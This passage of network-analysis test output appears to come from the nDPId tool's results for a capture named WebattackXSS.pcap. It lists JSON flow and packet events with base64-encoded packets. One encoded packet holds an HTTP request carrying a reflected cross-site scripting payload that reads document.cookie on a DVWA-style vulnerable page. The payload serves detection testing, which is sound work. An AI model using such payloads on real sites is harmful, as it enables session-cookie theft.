{"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1499346956932,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1499346957283,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52220,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1499346957283,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1499346957283,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52222,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1499346957283,"flow_last_seen":1499346960891,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52222,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347027,"pkt_ts_usec":615474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA099JAAD4GzgWsEAABwKgKMs42AFBUD+tJOwQVL4ARAOWLPAAAAQEICgE5InID4u4O"} +00431{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347027,"pkt_ts_usec":615698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05sZAAEAG3RHAqAoyrBAAAQBQzjY7BBUvVA\/rSoARAOOFYgAAAQEICgPi8+kBOSJy"} +00430{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347027,"pkt_ts_usec":616437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA099NAAD4GzgSsEAABwKgKMs42AFBUD+tKOwQVMIAQAOWFYAAAAQEICgE5InID4vPp"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":544,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1499347028086,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52856,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347028,"pkt_ts_usec":86164,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aaVAAD4GXCusEAABwKgKMs54AFBiKUtNAAAAAKACchC+owAAAgQFtAQCCAoBOSLoAAAAAAEDAwc="} +00441{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347028,"pkt_ts_usec":86304,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQznggYwiEYilLTqAScSCeWQAAAgQFtAQCCAoD4vRfATki6AEDAwc="} +00429{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347028,"pkt_ts_usec":87053,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aaZAAD4GXDKsEAABwKgKMs54AFBiKUtOIGMIhYAQAOU9YQAAAQEICgE5IugD4vRf"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":553,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1499347029372,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52870,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":372309,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qGFAAD4GHW+sEAABwKgKMs6GAFAx0YxIAAAAAKACchCssQAAAgQFtAQCCAoBOSQpAAAAAAEDAwc="} +00442{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":372400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzoZSq4KNMdGMSaAScSDe1AAAAgQFtAQCCAoD4vWgATkkKQEDAwc="} +00430{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":373202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qGJAAD4GHXasEAABwKgKMs6GAFAx0YxJUquCjoAQAOV92wAAAQEICgE5JCoD4vWg"} +00431{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":615488,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zJFAAD4G+UasEAABwKgKMs5QAFAU3NOVA2\/4q4ARAOUxqgAAAQEICgE5JGYD4vCS"} +00431{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":615745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DXZAAEAGtmLAqAoyrBAAAQBQzlADb\/irFNzTloARAOMsYAAAAQEICgPi9d0BOSRm"} +00431{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347029,"pkt_ts_usec":616275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zJJAAD4G+UWsEAABwKgKMs5QAFAU3NOWA2\/4rIAQAOUsXgAAAQEICgE5JGYD4vXd"} +00430{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":615542,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MYBAAD4GlFisEAABwKgKMs5eAFDxhxEb4Bcy74ARAOX+OwAAAQEICgE5JWAD4vHb"} +00432{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":615759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xDhAAEAG\/5\/AqAoyrBAAAQBQzl7gFzLv8YcRHIARAOP5QAAAAQEICgPi9tcBOSVg"} +00430{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":616511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MYFAAD4GlFesEAABwKgKMs5eAFDxhxEc4Bcy8IAQAOX5PgAAAQEICgE5JWAD4vbX"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":568,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1499347030639,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52884,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":639342,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jW9AAD4GOGGsEAABwKgKMs6UAFA36qgJAAAAAKACchCJjAAAAgQFtAQCCAoBOSVmAAAAAAEDAwc="} +00442{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":639438,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzpQiO+l4N+qoCqAScSCD9wAAAgQFtAQCCAoD4vbdATklZgEDAwc="} +00431{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347030,"pkt_ts_usec":640212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXBAAD4GOGisEAABwKgKMs6UAFA36qgKIjvpeYAQAOUi\/wAAAQEICgE5JWYD4vbd"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":583,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1499347033203,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52910,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":203906,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AN5AAD4GxPKsEAABwKgKMs6uAFDsGCc5AAAAAKACchBTkwAAAgQFtAQCCAoBOSfnAAAAAAEDAwc="} +00442{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":204003,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzq5aBdhx7BgnOqAScSAkugAAAgQFtAQCCAoD4vleATkn5wEDAwc="} +00430{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":204751,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AN9AAD4GxPmsEAABwKgKMs6uAFDsGCc6WgXYcoAQAOXDwQAAAQEICgE5J+cD4vle"} +00430{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":616064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aadAAD4GXDGsEAABwKgKMs54AFBiKUtOIGMIhYARAOU3+gAAAQEICgE5KE4D4vRf"} +00430{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":616280,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08UBAAEAG0pfAqAoyrBAAAQBQznggYwiFYilLT4ARAOMylQAAAQEICgPi+cUBOShO"} +00430{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347033,"pkt_ts_usec":617025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aahAAD4GXDCsEAABwKgKMs54AFBiKUtPIGMIhoAQAOUykgAAAQEICgE5KE8D4vnF"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1499347034467,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52924,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":467270,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rP1AAD4GGNOsEAABwKgKMs68AFB+VYXeAAAAAKACchBhZwAAAgQFtAQCCAoBOSkjAAAAAAEDAwc="} +00442{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":467378,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzrxiNhMTflWF36AScSDufwAAAgQFtAQCCAoD4vqaATkpIwEDAwc="} +00430{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":468159,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rP5AAD4GGNqsEAABwKgKMs68AFB+VYXfYjYTFIAQAOWNhwAAAQEICgE5KSMD4vqa"} +00430{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":615955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qGNAAD4GHXWsEAABwKgKMs6GAFAx0YxJUquCjoARAOV4vAAAAQEICgE5KUgD4vWg"} +00430{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":616143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0eDFAAEAGS6fAqAoyrBAAAQBQzoZSq4KOMdGMSoARAONzngAAAQEICgPi+r8BOSlI"} +00431{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347034,"pkt_ts_usec":616916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qGRAAD4GHXSsEAABwKgKMs6GAFAx0YxKUquCj4AQAOVznAAAAQEICgE5KUgD4vq\/"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":607,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1499347035750,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52938,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347035,"pkt_ts_usec":750380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OG5AAD4GjWKsEAABwKgKMs7KAFDI6hIKAAAAAKACchCJVwAAAgQFtAQCCAoBOSpkAAAAAAEDAwc="} +00442{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347035,"pkt_ts_usec":750472,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzsrSHYegyOoSC6AScSAwugAAAgQFtAQCCAoD4vvbATkqZAEDAwc="} +00430{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347035,"pkt_ts_usec":751288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OG9AAD4GjWmsEAABwKgKMs7KAFDI6hIL0h2HoYAQAOXPwQAAAQEICgE5KmQD4vvb"} +00430{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347036,"pkt_ts_usec":616664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXFAAD4GOGesEAABwKgKMs6UAFA36qgKIjvpeYARAOUdKAAAAQEICgE5KzwD4vbd"} +00431{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347036,"pkt_ts_usec":616905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0FcpAAEAGrg7AqAoyrBAAAQBQzpQiO+l5N+qoC4ARAOMXUwAAAQEICgPi\/LMBOSs8"} +00430{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347036,"pkt_ts_usec":617620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXJAAD4GOGasEAABwKgKMs6UAFA36qgLIjvpeoAQAOUXUAAAAQEICgE5Kz0D4vyz"} +01212{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347037,"pkt_ts_usec":12811,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9AOBAAD4Gwq+sEAABwKgKMs6uAFDsGCc6WgXYcoAYAOWBEAAAAQEICgE5K58D4vleR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdBUTgwTlFVUzRUQVFMUVZXSE1BR1hCMTFLVUJLMzROWkE4UlVVRDE0M0lGS1FEUzNQNSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00915{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1499347033203,"flow_last_seen":1499347037012,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52910,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 